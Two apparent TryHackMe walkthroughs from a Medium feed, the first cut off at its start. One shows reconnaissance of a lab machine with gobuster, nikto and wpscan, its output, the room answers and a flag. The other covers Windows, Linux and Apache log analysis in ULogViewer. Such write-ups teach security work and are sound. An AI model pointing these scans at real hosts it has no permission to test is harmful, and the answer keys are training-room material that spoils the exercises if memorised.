me the results as followes.</p><pre>┌──(root㉿kali)-[~]<br>└─# gobuster dir -u http://10.10.4.104:8000 -w /usr/share/wordlists/dirb/big.txt<br>===============================================================<br>Gobuster v3.2.0-dev<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.4.104:8000<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirb/big.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.2.0-dev<br>[+] Timeout:                 10s<br>===============================================================<br>2023/11/16 09:46:19 Starting gobuster in directory enumeration mode<br>===============================================================<br>/.htpasswd            (Status: 403) [Size: 278]<br>/.htaccess            (Status: 403) [Size: 278]<br>/contactus            (Status: 301) [Size: 321] [--&gt; http://10.10.4.104:8000/contactus/]<br>/javascript           (Status: 301) [Size: 322] [--&gt; http://10.10.4.104:8000/javascript/]<br>/phpmyadmin           (Status: 301) [Size: 322] [--&gt; http://10.10.4.104:8000/phpmyadmin/]<br>/server-status        (Status: 403) [Size: 278]<br>Progress: 18430 / 20470 (90.03%)===============================================================<br>2023/11/16 09:46:22 Finished<br>===============================================================</pre><p>Here we can see the line we need for the database management</p><pre>/phpmyadmin           (Status: 301) [Size: 322] [--&gt; http://10.10.4.104:8000/phpmyadmin/]</pre><blockquote>Answer:: phpmyadmin</blockquote><blockquote>Question:: What is the Content Management System (CMS) hosted on the server?</blockquote><p>Ok so now I went for the site and checked the port 9007.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*88-ul7Z7UDtSfcd9reM6DA.png" /></figure><p>It gave me some mumble so at last I thought about adding that to the hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*Nm-1IS7iRrKGc8MUSWb1ig.png" /></figure><p>So I named it probe.thm. Went to open the page and kind of saw the same look which was not nice</p><p>Then I checked the source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P7Q_e8gD6_xTfJLArX0m5A.png" /></figure><p>Renamed the hosts from probe to “myblog.thm”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*HbpTN77cABLZos1upWdlxA.png" /></figure><p>So during looking at the code I found these</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*LmxGJ13SUgFSdTDtcLicBA.png" /></figure><p>Which Gave away the CMS system :D Can you guess it?</p><p>Alternatively you can run Nikto on the site.</p><pre>┌──(root㉿kali)-[~]<br>└─# nikto -h https://[Machine_IP]:9007<br>- Nikto v2.1.6<br># Deducted<br>+ Uncommon header &#39;x-redirect-by&#39; found, with contents: WordPress<br># Deducted</pre><blockquote>Answer:: WordPress</blockquote><blockquote>Question:: What is the version number of the CMS hosted on the server?</blockquote><p>Just keep browsing the code :) casually and you will come accross this line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*gRH39MSTi0yjjBVwXAsyfg.png" /></figure><p>Also alternatively you can run a wpscan to figure the version.</p><pre>┌──(root㉿kali)-[~]<br>└─# wpscan --url https://[Machine_IP]:9007 --disable-tls-checks<br>_______________________________________________________________<br>         __          _______   _____<br>         \ \        / /  __ \ / ____|<br>          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®<br>           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \<br>            \  /\  /  | |     ____) | (__| (_| | | | |<br>             \/  \/   |_|    |_____/ \___|\__,_|_| |_|<br><br>         WordPress Security Scanner by the WPScan Team<br>                         Version 3.8.22<br>       Sponsored by Automattic - https://automattic.com/<br>       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart<br><br><br># Deducted<br>[+] WordPress version 6.2.2 identified (Insecure, released on 2023-05-20).<br> | Found By: Emoji Settings (Passive Detection)<br> |  - https://[Machine_IP]:9007/, Match: &#39;wp-includes\/js\/wp-emoji-release.min.js?ver=6.2.2&#39;<br> | Confirmed By: Meta Generator (Passive Detection)<br> |  - https://[Machine_IP]:9007/, Match: &#39;WordPress 6.2.2&#39;<br># Deducted</pre><blockquote>Answer:: 6.2.2</blockquote><blockquote>Question:: What is the username for the admin panel of the CMS?</blockquote><p>So to find the user we can use wpscan as previously to enumerate the user for the service.</p><pre>┌──(root㉿kali)-[~]<br>└─# wpscan --url https://[Machine_IP]:9007 --disable-tls-checks --enumerate u<br><br># Deducted<br><br><br>[i] User(s) Identified:<br><br>[+] joomla<br> | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br> | Confirmed By: Login Error Messages (Aggressive Detection)</pre><p>And we have an answer.</p><blockquote>Answer:: Joomla</blockquote><blockquote>Question:: During vulnerability scanning, <strong>OSVDB-3092</strong> detects a file that may be used to identify the blogging site software. What is the name of the file?</blockquote><p>lets run nikto for this if you havent done so. Nicto uses OSVDB-3092 scan by default. It takes some time to run it so be patient tho.</p><pre>┌──(root㉿kali)-[~]<br>└─# nikto -h https://[Machine_IP]:9007<br>- Nikto v2.1.6</pre><p>Once we run it lets look for the relevant row of information containing OSVDB-3092.</p><pre>+ Cookie back_https created without the httponly flag<br>+ /wp-links-opml.php: This WordPress script reveals the installed version.<br>+ OSVDB-3092: /license.txt: License file found may identify site software.<br>+ /: A Wordpress installation was found.</pre><blockquote>Answer:: license.txt</blockquote><blockquote>Question:: What is the name of the software being used on the standard HTTP port?</blockquote><p>For this we need to refer back to our first nmap scan.</p><pre># Deducted<br>80/tcp   open  http                    lighttpd 1.4.55<br>|_http-server-header: lighttpd/1.4.55<br>|_http-title: 403 Forbidden<br># Deducted</pre><p>We can see that it runs on “ lighttpd 1.4.55”</p><blockquote>Answer:: lighttpd</blockquote><blockquote>Question:: What is the flag value associated with the web page hosted on port 8000?</blockquote><p>So by accessing port 8000 and remember this is a HTTP port not a https port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*6VUztODhgeqccLEwtFbZkg.png" /></figure><p>We get a blank screen and also nothing within the page source.</p><p>I guess one thing we can do is a quick gobuster scan to see if there are any sub dirs we can see.</p><pre>┌──(root㉿kali)-[~]<br>└─# gobuster dir -u http://10.10.4.104:8000 -w /usr/share/wordlists/dirb/big.txt<br>===============================================================<br>Gobuster v3.2.0-dev<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://10.10.4.104:8000<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirb/big.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.2.0-dev<br>[+] Timeout:                 10s<br>===============================================================<br>2023/11/16 09:46:19 Starting gobuster in directory enumeration mode<br>===============================================================<br>/.htpasswd            (Status: 403) [Size: 278]<br>/.htaccess            (Status: 403) [Size: 278]<br>/contactus            (Status: 301) [Size: 321] [--&gt; http://10.10.4.104:8000/contactus/]<br>/javascript           (Status: 301) [Size: 322] [--&gt; http://10.10.4.104:8000/javascript/]<br>/phpmyadmin           (Status: 301) [Size: 322] [--&gt; http://10.10.4.104:8000/phpmyadmin/]<br>/server-status        (Status: 403) [Size: 278]<br>Progress: 18430 / 20470 (90.03%)===============================================================<br>2023/11/16 09:46:22 Finished<br>===============================================================</pre><p>So we have pages we can check lets go one by one and we just focus on the 301 s sinc 403 will not give us results.</p><p>Lets try “/contactus” first</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*SKHodigVaBorljMlxW1Kgg.png" /></figure><p>I think I got lucky here :)</p><blockquote>Answer:: THM{CONTACT_US_1100}</blockquote><h3>CONCLUSION</h3><p>This is a very nice room figuring basic information&#39;s out about a system without actually ever penning the system.</p><p>Use of Nmap, nikto, wpscan, gobuster(dirb, dirbuster, ffuz any u like basicaly), nc and services running on not common ports makes this room absolutely a beginner friendly must go to one to understand the basics. I loved it every minute.</p><p>Also a side note. Just by running Nikto and nmap we could answer most of the questions with not much inputted effort. I still believe knowing all other tools are a must and a necessity in this room to improve once knowledge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f10e2f8dd54c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Log Universe — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-log-universe-walkthrough-aaa38d646b1d?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/aaa38d646b1d</guid>
            <category><![CDATA[log-universe]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[ulog]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Wed, 08 Nov 2023 08:10:51 GMT</pubDate>
            <atom:updated>2023-11-08T08:11:09.703Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Log Universe — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*tK8lxTg4DeZt3YQkN6LkJQ.png" /></figure><p>So LogUniverse is a fairly new room just released recently. During the walkthrough it is 1 day old.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsFHYPSzCzQVTg8_ZU3EdA.png" /></figure><p>It is an only-sub room which means you have to have a live subscrition to THM in terms of accessing the room.</p><p>Room Link:: <a href="https://tryhackme.com/room/loguniverse">https://tryhackme.com/room/loguniverse</a></p><p>But lets dive into it.</p><h3>Task 1 — Introduction<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Introduction: Log Universe</h4><p>In this room, you will learn and experience the various log types generated from different systems and carve data from the log files.</p><h4>Learning Objectives</h4><ul><li>Learn how to identify and use different log sources.</li><li>Understand what to expect from different log types.</li><li>Gain hands-on experience in data carving from the log files.</li></ul><h4>Room Prerequisites</h4><ul><li>Working knowledge of MS Windows and Linux</li><li>Working knowledge of network and endpoint log systems</li><li><a href="https://tryhackme.com/room/introtologs">Intro to Logs</a></li><li><a href="https://tryhackme.com/room/logoperations">Log Operations</a></li><li><a href="https://tryhackme.com/room/windowseventlogs">Windows Event Logs</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><blockquote>Question:: Read the task above.<br>Answer:: No answer Needed!!</blockquote><h3>Task 2 — Treasure Among the Lines: Logs<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Logs</h4><p>Logs are the footprints of digital components and invaluable tools and resources in the storytelling of systems, applications and networks. However, harnessing the power of logs is a challenging task. First, you need to understand the different types, formats, offerings and importance of logs. Then, you can start to uncover the insights, patterns and “treasures” among the lines!</p><p>Logs provide visibility, context, and carry evidence value in security operations, incident response, threat hunting, compliance, cyber resilience, and cyber maturity. Most importantly, the ability to correlate simultaneous and distinct events among distributed networks and systems is also achieved with the visibility and context gained by logs. No matter what kind of security operation is being implemented, the logs are one of the essential components.</p><h4>Data Sources</h4><p>There are various log sources to deal with, so categorising them is a great practice to start. Data sources can be divided into two main categories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvJ5YR9GsauBhYVD7u1ZsA.png" /></figure><p>Note that each data source produces different logs and serves a different purpose. The <a href="https://tryhackme.com/room/introtologs">Intro to Logs</a> room covers common log types, formats and standards. If you are unfamiliar with the details of logs, you can find more information in this room.</p><h4>Data Specifications</h4><p>We have learned that multiple data sources generate different logs for different purposes. However, to avoid log noise and to enable log management, correlation, and investigation, some “minimum qualification requirements” must be present in each log. Common base qualifications are listed below:</p><ul><li>The system which created the log.</li><li>The log creation time (date, time and timezone).</li><li>The event that caused the log to be created (message).</li><li>The severity of the log.</li><li>The source associated with the log (IP and port, MAC address, username, or system name).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><blockquote>Question:: Read the task above.<br>Answer:: No answer needed!!</blockquote><h3>Task 3 — Toolset and Hints<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>VM and Toolset</h4><p>You have a custom Ubuntu machine with an open-source log parser tool (ULogViewer) and sample logs to investigate details and sample log files to discover each covered log file and practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J53jpR4P4idfSyd9kl7oZA.png" /></figure><p>Let’s start the Virtual Machine by pressing the <strong>Start Machine</strong> button at the top of this task. The machine will start in split-screen view. In case the VM is not visible, use the blue <strong>Show Split View</strong> button at the top-right of the page.</p><p>There are a variety of tools used in log analysis and discovery phases. Each tool has advantages and disadvantages, so the tool preference varies between analysts and the environment. One of the most important details of the log analysis tool is flexibility, compatibility, and support for parsing multiple log formats. We will use “<a href="https://github.com/carina-studio/ULogViewer">ULogViewer</a>” to parse and analyse various log file types in this room. Details are listed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OlkjVNkpaWDURMJXL8ZmpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xh645bOkuve0k2g4iMpmjA.png" /></figure><p>Refer to the following explanations in case you opened the application and couldn’t select a profile and ended up with an empty screen similar to the one shared above.</p><ol><li>Select the log profile to be parsed.</li><li>Add the log file to be parsed.</li><li>Filter logs and perform search.</li><li>Delete the loaded logs from the UI.</li><li>Open a new tab for a different log source.</li></ol><p>In addition to the processes discussed above, the image below shows what to expect after data parsing and viewing the log message with filter options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Dsz-Yje1cui_mX5yux9QIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><blockquote>Question:: Read this task and proceed to the next one.<br>Answer:: No answer needed !!</blockquote><h3>Task 4— Zoom In: Windows Event Logs<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><p>Windows Event Log Anatomy</p><p>Windows event logs provide in-depth footprint information on the system, security, and applications installed on a Windows operating system. Windows provides a generous amount of logs, and you will need to activate them according to your visibility needs and capacity. Remember, the logging scope is fully configurable, and the default settings are not enough for the current state of the threats. Being comfortable with logs is a vital skill, but it is also important to have the general characteristics before deep diving into each log source’s details. Now, let’s take a look at the Windows event log characteristics. Below are the main specifications of the Windows event logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*rVdTAWV0OBQGVSPWqe1Auw.png" /></figure><p>As explained in the table above, Windows event logs can be generated and stored in a variety of extensions and formats. The alternatives here provide great flexibility in the logging and analysis process, allowing the environment to be painlessly set up for the analysis phase and to take advantage of alternative components.</p><p>After getting familiar with the log file formats, it is timesecu to identify the event log file categories. By default, there are two main log categories in Windows. The details are shown in the table below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*5U75la_gR_JNw9Q-f7QZdw.png" /></figure><p>We’ve already mentioned that Windows systems are very generous when it comes to logging. Windows systems can generate hundreds of logs for the two categories mentioned above. Some are commonly used, and others need to be activated by configuration. Now, let’s look at common log files and find out what information they provide! The table below highlights the commonly used event logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*WB7mR6YADjIuxu0dpzl5wA.png" /></figure><p>The following table breaks down the anatomy of the event logs and explains the main elements. In case you can’t recall what a Windows event Log file looks like, use the given hints and image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*WRw4SWNBcs1J8ZssOdO7oQ.png" /></figure><p>Now, let’s cover the main parts of the log file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*O8xvoltZtShGmN1cNg50qg.png" /></figure><p>Remember that you will use the ULogViewer to view and filter the logs. The sample log is parsed as shown in the figure below. Field details are opened by double-clicking on the field or clicking on the “view more” section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*2FbgmYpAnqhcIVnto-ssmA.png" /></figure><p>PID and TID data are beneficial for process tracing, correlation, and understanding the natural flow of events during log analysis. The timestamp also plays an essential role in determining which processes and threads were running at a particular time or during the workflow and, if applicable, the call times of the child processes and threads created by the user or execution flow.</p><p>Learning the anatomy of the Windows log files is essential, but you will also need to know the indicative event log IDs and details. Therefore, you will be able to track and understand the details of a potential anomaly or an intrusion attempt. Some useful Windows event log IDs are listed below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*odY7M8NsgFsbf-LUyVVzoA.png" /></figure><p>Note that each source produces different logs for different purposes. The <a href="https://tryhackme.com/room/introtologs">Intro to logs</a> room covers common log types, formats and standards. You will find more information in this space if you are still getting familiar with logs. You can also visit the <a href="https://tryhackme.com/room/windowseventlogs">Windows Event Logs</a> and <a href="https://tryhackme.com/room/sysmon">Sysmon</a> rooms for more details about the event you are interested in.</p><p>Now, switch to the given VM and analyse the <strong>“Windows Questions”</strong> log file using ULogViewer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><p>To answer the question we need to open ULogViewer first.</p><p>Double click on its icon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/83/1*-d8pyqWhAUYnGTdQUK4BAA.png" /></figure><p>Then select “Windows Event Log Files”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*nZxrFkmEB5GvRUoQbXcmVw.png" /></figure><p>Then add log files OR drg and drop the “Win Questions” log into the env.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/46/1*F33ETTnkVm1tG8cXS8HU_Q.png" /></figure><p>Once done you should see the logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zpt6OTzAyMRxqhhuEikQ8A.png" /></figure><blockquote>Question:: What is the Thread ID of the user creation event?</blockquote><p>Here we are looking for event ID 4720 events. The 4720 ID refers to a new user creation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMR35G4XiW0FsEXAprLDtA.png" /></figure><blockquote>Answer:: 744</blockquote><blockquote>Question:: What is the account name that creates the new user?</blockquote><p>To answer this we need to know two terms 1, TargetUserName and 2, SubjectUserName.</p><p>The SubjectUserName User is the “Creator” and the TargetUserName is the “Created” user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*cw_94mjYUx_5Gx5iNXB32A.png" /></figure><p>So from this we can see that → Administrator created → “Adminstrator” user.</p><blockquote>Answer:: Administrator</blockquote><blockquote>Question:: What is the name of the created account name?</blockquote><p>We just answered this previously. :)</p><blockquote>Answer:: Adminstrator</blockquote><blockquote>Question:: What is the “SubjectLogonID” value of the “account reset attempt” event?</blockquote><p>For this event we need to find 4724 Event ID. That refers to reset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0SNh8jyIWmYxvCT3DYEaw.png" /></figure><p>Click “View More” option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*O-nFvbg37beBKwi9TGO7Jg.png" /></figure><blockquote>Answer:: 0x4B666</blockquote><h3>Task 5 — Zoom In: Linux Logs<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Linux Logs Anatomy</h4><p>Like Windows event logs, Linux logs provide in-depth footprint information on the system, security, and applications installed. Again, the logging scope is fully configurable, and the default settings are not enough for the current state of the threats. Let’s take a deep dive into the Unix-like system logs!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qzjhgmHOikMZKCXmb79QQQ.png" /></figure><h4>Common Logs Generated by Unix-like Systems</h4><h4><strong>Cleartext Formatted Logs</strong></h4><p>Cleartext logs can be viewed and analysed using multiple tools, as highlighted in the above table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4e1SJQ8Dooi6TvFgTJFrA.png" /></figure><h4><strong>Logs Require Specific Binary to View</strong></h4><p>Some binary formatted logs can be viewed and analysed only with the corresponding tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*AINhdqQqGShMk8e8h2FVMw.png" /></figure><p>The Syslog log file structure is defined by <a href="https://www.rfc-editor.org/rfc/rfc5424.html">RFC 5424</a><a href="https://www.rfc-editor.org/rfc/rfc5426.html">–5426</a>. Also, it is widely used and easy to process with native granular system tools like tail and grep. The structure details are explained in the following table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cFuTWAgkP3BDwegsr1YXg.png" /></figure><p>While RFC defines the main structure, there are alternative implementations of message presentations. The common structure (IETF) is shown below.</p><ul><li><strong>IETF log format:</strong></li></ul><p>timestamp hostname process[pid]: message</p><p><strong>Sample Log: Syslog<br>Case: Command Execution</strong></p><ul><li><strong>Example log in IETF format:</strong></li></ul><p>2023-09-28T15:05:55.333333Z TempServer sudo[2345]: [AUTH] User alice executed command &#39;/usr/bin/apt-get update&#39;.</p><ul><li><strong>Evaluation:</strong></li></ul><p>The above log entry showcases an event where the user “Alice” executed the command ‘/usr/bin/apt-get update’ using the ‘sudo’ command on the server “TempServer”. This log entry provides valuable insights into user actions, including the executed command and authentication details, which can aid in auditing and monitoring system activities.</p><p>As the previous example shows, reading and understanding a single log entry in a structured format can be relatively straightforward. However, the challenge increases when dealing with voluminous log files containing numerous lines of entries. In such cases, extracting the relevant attributes and establishing correlations becomes essential to comprehensively understand specific events within the log data.</p><p>Analysing multi-line logs requires high attention to detail and the ability to filter and extract significant details. This process involves identifying and filtering timestamps, hostnames, process IDs, and event descriptions, among other critical details. By effectively analysing and correlating these attributes, it is possible to uncover the sequence of events, diagnose problems, and gain valuable insight into system behaviour, security incidents, or operational performance.</p><p>In summary, while individual log entries may seem manageable, the complexity arises when dealing with large log datasets. The magic lies in organising the extraction and analysis of key attributes to reveal the underlying story hidden within the logs, making log management and monitoring an essential part of maintaining system health and security.</p><p>The following log examples are a series of timestamped entries from “TempServer” that show critical system events and resource management. These logs provide insight into memory issues, process terminations, and system reboots. Each log entry includes essential information such as timestamp, server name (TempServer), log source (Kernel or Systemd), process IDs (PID), and detailed event descriptions. It’s important to note that these logs are presented in a generic system log format, with no specific categorisation, providing an insight into the server’s operational challenges and the need for memory management and system recovery.</p><p><strong>Sample Log: Syslog<br>Case: Restart Due to Insufficient RAM</strong></p><ul><li><strong>Example log in IETF format:</strong></li></ul><p>2023-09-25T08:15:20.123456Z TempServer kernel: Out of memory: Killed process 5678 (myapp); system reboot required.<br>2023-09-25T11:30:45.987654Z TempServer kernel: Memory cgroup out of memory: Kill process 9876 (database) score 500 or sacrifice child.<br>2023-09-26T03:45:10.234567Z TempServer systemd[1]: Reached memory limit at process 1234 (myapp), restarting.<br>2023-09-26T12:20:35.543210Z TempServer kernel: Swap space exhausted; system restarting to free up memory.<br>2023-09-27T07:55:50.765432Z TempServer systemd[1]: Server running low on memory, initiating reboot for recovery.</p><ul><li><strong>Evaluation:</strong></li></ul><p>The above log entries showcase events on “TempServer” that include crucial memory-related events. It shows that processes with IDs “5678” (myapp), “9876” (database), and “1234” (myapp) caused memory problems and resulted in process terminations, memory limit violations, swap space exhaustion, and low memory warnings, ultimately requiring reboots for recovery and stability.</p><p><strong>Now, switch to the given VM and analyse the “Linux” log file using ULogViewer. </strong>Remember that you will use the ULogViewer and select the “Linux System Log Files” profile to view and filter the logs. The sample log is parsed as shown in the figure below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LqfD37Ld-k2aoaJDpigYrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*gq6x9Eb_af0I655y4oPPWA.png" /></figure><blockquote>Question:: What is the number of successful sync events done by the NTPD service?</blockquote><p>For this we need to filter the logs a little. Dont worry its not too difficult.<br>Simply type “Synchronized” in the filter tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*5_bmdQiSZwkAB2CA1RBFWw.png" /></figure><p>ULog will auto filter the results. Then following this up at the bottom you will see the amount.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*UBXIzfQmnnO1zqycrQ_cHA.png" /></figure><blockquote>Answer:: 28</blockquote><blockquote>Question:: Which user logged in using the SSHD service?</blockquote><p>Remember the quick filter? I tell you a magic it does work with service names as well :) Just type in SSHD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-vBgEdbVHEf9F9xbtLCZw.png" /></figure><p>This will only show SSHD logs. Now we can answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQGx0AzoThVBLfGwGe3fwA.png" /></figure><blockquote>Answer:: THMjohn-p</blockquote><blockquote>Question:: What is the PID number of the Apache web server?</blockquote><p>Still filtering. Now we do it for “apache”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kY5Ohe2gjeFhC7ax7F_uQA.png" /></figure><p>And we ar looking for apache server PID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*h51uDBbOKzGcG49WkIxyQg.png" /></figure><p>One example :) so we know the PID now.</p><blockquote>Answer:: 5678</blockquote><blockquote>Question:: Which service is stopped due to RAM issues?</blockquote><p>So once again and I swear I stop repeating myself :)</p><p>What do we do? YES we are filtering. this time we filter for “RAM”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*cDfsXSUKVeZ1YPcu9GrguQ.png" /></figure><blockquote>Answer:: nginx</blockquote><blockquote>Question:: Which service is stopped due to CPU issues?</blockquote><p>If you checked the logs with the apache related question then we will know but just in case … you know filter for CPU.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*ex6X80_Q7u60RpJX9H5KEw.png" /></figure><blockquote>Answer:: Apache Tomcat</blockquote><blockquote>Question:: What is the timestamp of the second time reset event?</blockquote><p>I wont repeat … Or you thought right :) yes we flter for “reset”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*SzgfJ59CF7K4b5sc7R1oLg.png" /></figure><blockquote>Answer:: 03/27 15:51:56</blockquote><h3>Task 6— Zoom In: Misc Logs<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Misc Logs: Application Logs</h4><p>Misc logs provide in-depth footprint information on application-based events, giving more insights on application and process-based details that will help analysts in security operations, including monitoring, threat hunting, and incident response. This task will cover the details of Apache logs.</p><h4>Apache Logs</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9-oTMbE-ecQdEOJmi_SOA.png" /></figure><h4><strong>Apache Logs: Access.log</strong></h4><p>Access logs are invaluable records generated by web servers, containing essential attributes that form the backbone of effective log analysis. These attributes, including IP addresses, timestamps, HTTP methods, URLs, status codes, and user agent information, play a vital role in web server management and security.</p><p>These attributes enable administrators and analysts to ensure server health, diagnose problems, detect security threats, and optimise web services for a seamless user experience. Understanding the importance of these attributes is essential before embarking on log analysis, as it provides the baseline for informed decision making and effective web server management.</p><p>The anatomy of the Apache access.log’s “Combined log format” is detailed in the given table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWJp7i480aEqrTFwvUjPEw.png" /></figure><p>Apache access logs are identified by the “Common Log Format” and “Combined Log Format”. Both formats focus on visibility but serve different purposes. The standard format is more lightweight and focuses on the basics, capturing only the essentials such as IP, URL and response. The combined format captures more details, such as referrer and user agent data, which is useful for in-depth analysis. The combined log format structure is shown in the below section.</p><ul><li><strong>Combined log format</strong></li></ul><p>LogFormat &quot;%h %l %u %t \&quot;%r\&quot; %&gt;s %b \&quot;%{Referer}i\&quot; \&quot;%{User-agent}i\&quot;&quot; combined</p><p><strong>Sample Log: Access Log<br>Case: Using HTTP POST Method</strong></p><ul><li><strong>Example log in combined log format:</strong></li></ul><p>192.168.1.100 - THMjohn [15/Nov/2025:10:30:45 -0500] &quot;POST /api/data HTTP/1.1&quot; 404 1234 &quot;https://www.LogUniverse-THM.com/page&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.0.0 Safari/537.36&quot;</p><ul><li><strong>Evaluation:</strong></li></ul><p>The above log file showcases a client IP 192.168.1.100 made a POST request to the “/api/data” URL on the server. It also shows that the server responded with a 404 “Not Found” status code. The client was referred by the “https://www.LogUniverse-THM.com/page&quot; using the Mozilla web browser on the Windows 10 operating system.</p><p>Note that the web browser and operating system information can be manipulated or changed by an attacker crafting custom packets or using an attack or audit tool.</p><p>The sample log is parsed as shown in the figure below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6_Be7yJ7FPJKti077ypLw.png" /></figure><p><strong>Apache Logs: Error.log</strong></p><p>Error logs are an essential component of web server management, providing critical insight into system health and potential issues that can impact server performance and user experience. These logs capture essential attributes such as timestamps, error messages, file paths, and originating IP addresses. These attributes are essential for administrators and analysts to diagnose and resolve errors, identify vulnerabilities, and maintain server security. Before delving into error log analysis, it is vital to understand the importance of these attributes as they provide the foundation for proactive problem resolution and continuous improvement of web server stability and reliability.</p><p>The anatomy of the Apache error.log is detailed in the given table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9coOHwtG8QyloSa-mFJ9Q.png" /></figure><p>Unlike access.log, error.log is identified under a single format named “ErrorLogFormat” and focuses on providing additional information to the log message. The structure is shown in the below section.</p><ul><li><strong>ErrorLogFormat:</strong></li></ul><p>ErrorLogFormat &quot;[%t] [%l] [pid %P] %F: %E: [client %a] %M&quot;</p><p><strong>Sample Log: Error Log<br>Case: Resource Availability</strong></p><ul><li><strong>Example log in ErrorLogFormat:</strong></li></ul><p>[Thu May 12 08:28:57.652118 2011] [core:error] [pid 8777] [client ::1] File does not exist: /usr/local/apache2/htdocs/favicon.ico</p><ul><li><strong>Evaluation:</strong></li></ul><p>The above log file showcases a loopback address ::1, which means an internal request made to the resource favicon.ico located on the same server. The message 